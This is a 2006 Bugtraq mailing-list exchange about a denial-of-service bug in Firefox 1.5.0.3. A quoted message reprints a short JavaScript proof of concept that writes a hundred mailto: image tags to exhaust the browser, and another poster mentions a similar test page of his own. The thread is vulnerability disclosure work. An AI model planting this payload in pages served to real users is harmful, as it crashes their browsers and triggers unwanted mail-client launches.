bugtraq - Re: Firefox 1.5.0.3

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Date: Wed, 10 May 2006 13:33:32 -0700 (PDT)
From: RSnake <rsnake@...cking.com>
To: Chris Horry <zerbey@...ble.co.uk>
Cc: bugtraq@...urityfocus.com
Subject: Re: Firefox 1.5.0.3 - DoS



 	This is similar to something I've been toying with for a while:
http://ha.ckers.org/weird/ (the first link "mailto: memory exhaustion)
is around this issue).  The only difference is my test page does not
rely on JavaScript which seems to have a more dramatic (read annoying)
effect.

On Wed, 10 May 2006, Chris Horry wrote:

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> p4.werterxyz@...il.com wrote:
>> test2:
>> http://werterxyz.altervista.org/test2.html
>> http://geocities.com/werterxyz/test2.html
>
> Did not crash FF 1.5.0.3 on Windows Server 2003 SP1 (slowed it down for
> a few seconds and launched Outlook Express, but that's it).  Here is the
> code since the original poster didn't see fit to publish it.
>
> <Head>
> <Title>test2 by P4</Title>
> </Head>
>
> <Body>
> <!-- following code added by server. PLEASE REMOVE -->
> <!-- preceding code added by server. PLEASE REMOVE -->
> <SCRIPT Language="Javascript">
> for(i=0; i<100; i++){
> document.write('<Img src="mailto:test@...t.com?subject=test
> email&body=Sei fottuto!"> clicka col tasto destro del mouse e seleziona
> "Mostra immagine" (View Image)')
> }
> </SCRIPT>
> </Body>
> <!-- text below generated by server. PLEASE REMOVE
> -
> --></object></layer></div></span></style></noscript></table></script></applet><script
> language="JavaScript"
> src="http://us.i1.yimg.com/us.yimg.com/i/mc/mc.js"></script><script
> language="JavaScript"
> src="http://geocities.com/js_source/geov2.js"></script><script
> language="javascript">geovisit();</script><noscript><img
> src="http://visit.geocities.yahoo.com/visit.gif?us1147288798"
> alt="setstats" border="0" width="1" height="1"></noscript>
> <IMG SRC="http://geo.yahoo.com/serv?s=76001067&t=1147288798&f=us-w61"
> ALT=1 WIDTH=1 HEIGHT=1>
>
>
>>
>> Saluti da P4
>
>
> - --
> Chris Horry KG4TSM      "A conservative is a man with two perfectly
> zerbey@...ble.co.uk      good legs who, however, has never learned how
> http://www.wibble.co.uk  to walk forward".  -- Franklin D. Roosevelt
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-RSnake http://ha.ckers.org/